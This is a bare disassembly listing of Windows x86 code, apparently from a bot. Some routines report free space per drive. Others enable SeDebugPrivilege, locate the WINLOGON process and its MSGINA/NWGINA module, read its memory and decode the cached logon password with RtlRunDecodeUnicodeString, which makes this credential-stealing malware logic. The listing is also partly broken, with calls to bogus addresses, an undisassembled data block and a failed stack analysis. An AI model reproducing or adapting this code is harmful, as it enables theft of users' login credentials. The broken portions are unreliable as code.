		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D45
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416E65
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416E65
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416E65
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DCA0
		push	edx
		push	eax
		call	sub_416C7D
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DCA0
		push	edx
		push	eax
		call	sub_416C7D
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DCA0
		push	edx
		push	eax
		call	sub_416C7D
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 18h
		pop	ebx
		jmp	short loc_416E94
; ---------------------------------------------------------------------------


loc_416E65:				; CODE XREF: sub_416D8D+2Cj
					; sub_416D8D+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C006
		add	esp, 18h


loc_416E94:				; CODE XREF: sub_416D8D+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EA8	proc near		; CODE XREF: sub_416F7A+17p
					; sub_416F7A+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416D8D
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C7E0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F1B
		push	ebx
		push	ebx
		call	sub_416CFC
		pop	ecx
		push	eax
		push	offset unk_437C24
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	short loc_416F4F
; ---------------------------------------------------------------------------


loc_416F1B:				; CODE XREF: sub_416EA8+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416CFC
		pop	ecx
		push	eax
		push	offset unk_437BE8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 20h


loc_416F4F:				; CODE XREF: sub_416EA8+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415CEE
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F7A	proc near		; CODE XREF: sub_401AC7+2518p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416F9B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EA8
		add	esp, 10h
		jmp	short loc_416FFC
; ---------------------------------------------------------------------------


loc_416F9B:				; CODE XREF: sub_416F7A+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4C926C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BC9B
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4C926C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416FF3


loc_416FBF:				; CODE XREF: sub_416F7A+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416FE2
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EA8
		add	esp, 10h


loc_416FE2:				; CODE XREF: sub_416F7A+54j
		push	esi
		call	sub_41B960
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416FBF


loc_416FF3:				; CODE XREF: sub_416F7A+43j
		push	edi
		call	sub_41BA31
		pop	ecx
		pop	edi
		pop	esi


loc_416FFC:				; CODE XREF: sub_416F7A+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416F7A	endp

; ---------------------------------------------------------------------------
byte_416FFF	db 55h			; DATA XREF: sub_401AC7+67F5o
		dd 0EC81EC8Bh, 49Ch, 5308458Bh,	0A7B95756h, 8B000000h
		dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h
		dd 0FFFEEC85h, 2DE850FFh, 33000049h, 5BC80DBh, 0FFFFFEEBh
		dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4914h, 59C8859h
		dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 437C84h, 0FB64858Dh
		dd 68FFFFh, 50000002h, 508FE8h,	10C48300h, 75F85D39h, 858D5320h
		dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h
		dd 27CCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h
		dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h
		dd 5AE8h, 858D5000h, 0FFFFFB64h, 437C6468h, 37E85000h
		dd 8300004Fh, 5D3924C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF276Eh
		dd 8D14C483h, 0FFFB6485h, 0EBE850FFh, 0FFFFFFEBh, 0BEE8F075h
		dd 59FFFF45h, 0E8905359h, 22D8EECh, 555B5E5Fh, 0EC81EC8Bh
		dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 7CC868FFh
		dd 50560043h, 4FC3E8h, 303D8B00h, 83004271h, 858D10C4h
		dd 0FFFFFEBCh, 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh
		dd 429AC4BBh, 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h
		dd 752EFFFFh, 0E9BD8012h, 0FFFFFEh, 0BD804274h,	0FFFFFEE9h
		dd 8D39742Eh, 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh
		dd 61E85056h, 0FF00004Fh, 858D1C75h, 0FFFFFCB4h, 1475FF50h
		dd 0FF1075FFh, 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch
		dd 0FEBC858Dh, 0FF50FFFFh, 31E8FC75h, 9002368Eh, 8F75C085h
		dd 90FC75FFh, 1A8E23E8h, 1475FF02h, 0FDB8858Dh,	75FFFFFFh
		dd 50565318h, 4F0FE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh
		dd 0FFFDB885h, 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h
		dd 1C45FFFFh, 0B4858D50h, 0FFFFFFFAh, 0AC681875h, 6800437Ch
		dd 200h, 4ED2E850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h
		dd 875FF0Ch, 0FF261DE8h, 28C483FFh, 0FEBC858Dh,	5650FFFFh
		dd 8DAAE890h, 0C0850236h, 9056B175h, 1A8D9FE8h,	1C458B02h
		dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417269	proc near		; DATA XREF: sub_401AC7+1C62o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41ADDD
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_4172A8
		cmp	eax, 2
		jz	short loc_4172A8
		push	offset unk_437EA0
		jmp	loc_4173E7
; ---------------------------------------------------------------------------


loc_4172A8:				; CODE XREF: sub_417269+2Ej
					; sub_417269+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4173E2
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26B0C73h
		nop
		mov	esi, dword_4270CC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D217C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D2170, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D2380, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D2178, eax
		call	esi
		mov	dword_4D2174, eax
		call	sub_41743B
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4173B5
		mov	esi, dword_427154
		mov	edi, 400h
		mov	ebx, offset dword_4D1170
		push	edi
		push	ebx
		push	offset off_437DDC
		call	esi
		push	edi
		mov	edi, offset dword_4D1970
		push	edi
		push	offset off_437DC4
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D2388
		push	[ebp+arg_0]
		jnz	short loc_417361
		call	sub_4175C4
		jmp	short loc_417366
; ---------------------------------------------------------------------------


loc_417361:				; CODE XREF: sub_417269+EFj
		call	sub_41776B


loc_417366:				; CODE XREF: sub_417269+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4173AE
		cmp	dword_4D2388, 0
		jnz	short loc_417395
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_437D68
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 18h
		jmp	short loc_4173C8
; ---------------------------------------------------------------------------


loc_417395:				; CODE XREF: sub_417269+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173A5
		call	sub_4178A1
		jmp	short loc_4173AA
; ---------------------------------------------------------------------------


loc_4173A5:				; CODE XREF: sub_417269+133j
		call	sub_417938


loc_4173AA:				; CODE XREF: sub_417269+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4173BA
; ---------------------------------------------------------------------------


loc_4173AE:				; CODE XREF: sub_417269+101j
		push	offset unk_437D30
		jmp	short loc_4173BA
; ---------------------------------------------------------------------------


loc_4173B5:				; CODE XREF: sub_417269+B6j
		push	offset unk_437D04


loc_4173BA:				; CODE XREF: sub_417269+143j
					; sub_417269+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_4173C8:				; CODE XREF: sub_417269+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27B0737h
		nop
		pop	ebx
		jmp	short loc_4173F5
; ---------------------------------------------------------------------------


loc_4173E2:				; CODE XREF: sub_417269+4Ej
		push	offset unk_437CD0


loc_4173E7:				; CODE XREF: sub_417269+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_4173F5:				; CODE XREF: sub_417269+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_41741C
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409862
		add	esp, 14h


loc_41741C:				; CODE XREF: sub_417269+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415CEE
		push	[ebp+var_18]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_417269	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41743B	proc near		; CODE XREF: sub_417269+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427160
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_42715C
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D217C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27C0620h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D217C
		test	eax, eax
		jnz	short loc_417528
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417528
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417528


loc_4174C4:				; CODE XREF: sub_41743B+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_41751B
		push	0
		push	0
		call	dword_4D2170
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D2380
		test	eax, eax
		jnz	short loc_41750C
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DD4A
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417540


loc_41750C:				; CODE XREF: sub_41743B+AAj
		test	edi, edi
		jz	short loc_417517
		push	edi
		call	dword_4D2178


loc_417517:				; CODE XREF: sub_41743B+D3j
		mov	eax, [esp+28h+var_10]


loc_41751B:				; CODE XREF: sub_41743B+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_4174C4


loc_417528:				; CODE XREF: sub_41743B+6Dj
					; sub_41743B+7Aj ...
		xor	edi, edi


loc_41752A:				; CODE XREF: sub_41743B+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0620h
		mov	eax, edi


loc_417538:				; CODE XREF: sub_41743B+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417540:				; CODE XREF: sub_41743B+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4175A9
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417556:				; CODE XREF: sub_41743B+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DD4A
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175BD
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DD4A
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41759B
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41759B:				; CODE XREF: sub_41743B+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417556


loc_4175A9:				; CODE XREF: sub_41743B+10Fj
		test	edi, edi
		jz	short loc_4175B4
		push	edi
		call	dword_4D2178


loc_4175B4:				; CODE XREF: sub_41743B+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_41752A
; ---------------------------------------------------------------------------


loc_4175BD:				; CODE XREF: sub_41743B+13Cj
		xor	eax, eax
		jmp	loc_417538
sub_41743B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175C4	proc near		; CODE XREF: sub_417269+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2680883h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4175ED
		xor	eax, eax
		jmp	loc_417768
; ---------------------------------------------------------------------------


loc_4175ED:				; CODE XREF: sub_4175C4+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27E0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427160
		push	8
		call	esi
		mov	edi, dword_42715C
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427168
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_41763D
		xor	esi, esi
		jmp	loc_41775B
; ---------------------------------------------------------------------------


loc_41763D:				; CODE XREF: sub_4175C4+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27D095Eh
		test	eax, eax
		jz	loc_41774A
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_41774A
		test	[ebp+var_2B], 1
		jnz	loc_41774A
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_41774A


loc_4176A0:				; CODE XREF: sub_4175C4+112j
		push	edi
		push	offset dword_4D1170
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4176C8
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D1970
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4176D8


loc_4176C8:				; CODE XREF: sub_4175C4+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_41774A
		jmp	short loc_4176A0
; ---------------------------------------------------------------------------


loc_4176D8:				; CODE XREF: sub_4175C4+102j
		test	edi, edi
		jz	short loc_41774A
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2770503h
		test	eax, eax
		jz	short loc_417713
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_417713
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_417713:				; CODE XREF: sub_4175C4+12Bj
					; sub_4175C4+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D2394, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D238C, eax
		mov	dword_4D2390, edi


loc_41774A:				; CODE XREF: sub_4175C4+90j
					; sub_4175C4+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0620h
		mov	esi, [ebp+var_10]


loc_41775B:				; CODE XREF: sub_4175C4+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2660000h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417768:				; CODE XREF: sub_4175C4+24j
		pop	esi
		leave
		retn
sub_4175C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41776B	proc near		; CODE XREF: sub_417269:loc_417361p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2680883h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41785D
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417854
		mov	edi, dword_427160


loc_4177B6:				; CODE XREF: sub_41776B+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D095Eh
		test	eax, eax
		jz	short loc_417842
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417848
		test	[ebp+var_13], 1
		jnz	short loc_417848
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0BA6h
		test	eax, eax
		jz	short loc_417834
		push	offset dword_4D1170
		push	esi
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417834
		lea	eax, [esi+400h]
		push	offset dword_4D1970
		push	eax
		call	sub_4266CB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417864


loc_417834:				; CODE XREF: sub_41776B+9Fj
					; sub_41776B+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27C0620h
		jmp	short loc_417848
; ---------------------------------------------------------------------------


loc_417842:				; CODE XREF: sub_41776B+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417848:				; CODE XREF: sub_41776B+71j
					; sub_41776B+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4177B6


loc_417854:				; CODE XREF: sub_41776B+3Fj
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop


loc_41785D:				; CODE XREF: sub_41776B+1Ej
		xor	eax, eax


loc_41785F:				; CODE XREF: sub_41776B+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417864:				; CODE XREF: sub_41776B+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D238C, ebx
		mov	dword_4D2390, eax
		cmp	[eax], cl
		jnz	short loc_417886
		cmp	[eax+1], cl
		jz	short loc_41788E


loc_417886:				; CODE XREF: sub_41776B+114j
					; sub_41776B+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417886


loc_41788E:				; CODE XREF: sub_41776B+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2660000h
		push	1
		pop	eax
		jmp	short loc_41785F
sub_41776B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178A1	proc near		; CODE XREF: sub_417269+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D2388
		push	esi
		mov	esi, dword_427160
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	ecx, dword_4D2388
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D2390
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D2394
		push	eax
		call	dword_4D2174
		push	[ebp+var_4]
		mov	edi, offset dword_4D2180
		push	offset dword_4D1170
		push	offset dword_4D1970
		push	[ebp+arg_0]
		push	offset dword_437EEC
		push	200h
		push	edi
		call	sub_41C100
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0620h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417938	proc near		; CODE XREF: sub_417269:loc_4173A5p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D2388
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27D08F7h
		nop
		push	eax
		call	near ptr 27D0000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D1970
		mov	edi, 200h
		mov	esi, offset dword_4D0F70


loc_41797E:				; CODE XREF: sub_417938+FAj
		mov	eax, dword_4D2388
		add	eax, eax
		push	eax
		push	dword_4D2390
		push	[ebp+var_14]
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D2174
		mov	eax, dword_4D2388
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4179F3


loc_4179BB:				; CODE XREF: sub_417938+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A10
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4179DF
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4179DF
		cmp	dl, 20h
		jnb	short loc_4179D9
		and	[ebp+var_8], 0


loc_4179D9:				; CODE XREF: sub_417938+9Bj
		cmp	[ebp+var_1], 7Eh
